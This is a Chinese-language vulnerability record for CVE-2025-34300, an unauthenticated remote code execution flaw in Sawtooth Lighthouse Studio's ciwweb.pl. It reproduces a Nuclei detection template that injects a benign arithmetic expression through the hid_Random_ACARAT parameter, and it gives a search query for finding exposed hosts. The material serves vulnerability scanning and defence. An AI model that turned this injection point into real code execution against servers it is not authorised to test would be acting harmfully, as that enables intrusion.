SawtoothSoftware Lighthouse Studio Pre-Auth Remote Code Execution Vulnerability

漏洞信息

漏洞名称： SawtoothSoftware Lighthouse Studio Pre-Auth Remote Code Execution Vulnerability

漏洞编号：

• CVE： CVE-2025-34300

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： SawtoothSoftware的Lighthouse Studio是一款广泛使用的调查软件，主要用于市场研究和数据分析。该软件在企业级服务中常见，因其功能强大而被许多组织采用。

该漏洞存在于Lighthouse Studio的Perl CGI组件ciwweb.pl中，由于对eval函数的不安全使用，攻击者可以通过hid_Random_ACARAT参数传递恶意输入，直接传递给eval执行，从而导致远程代码执行。这种漏洞的技术根源在于输入验证不足，允许未经处理的用户输入直接执行。

此漏洞的影响极为严重，因为它允许未经身份验证的远程攻击者在服务器上执行任意Perl代码，可能导致完全控制系统、数据泄露或服务中断。由于这是一个预认证漏洞，攻击者无需任何凭证即可利用，且可以自动化攻击，大大增加了其危险性。

产品厂商： SawtoothSoftware

产品名称： Lighthouse Studio

影响版本： <9.16.14

搜索语法： html:”Lighthouse Studio”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/0d580c51ebaa07cb62eabcc00909f8ef72f67634/http%2Fcves%2F2025%2FCVE-2025-34300.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-34300

info:
  name: SawtoothSoftware Lighthouse Studio <9.16.14 – Pre‑Auth Remote Code Execution
  author: assetnote,DhiyaneshDK,iamnoooob
  severity: critical
  description: |
    A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
  reference:
    - https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
    - https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Lighthouse Studio"
  tags: cve,cve2025,lighthouse-studio,sawtoothsoftware,rce,ssti

variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25{{num1}}*{{num2}}%25]&hid_Random_ACARAT=x HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="hid_Random_ACARAT" value="{{result}}"'

      - type: status
        status:
          - 200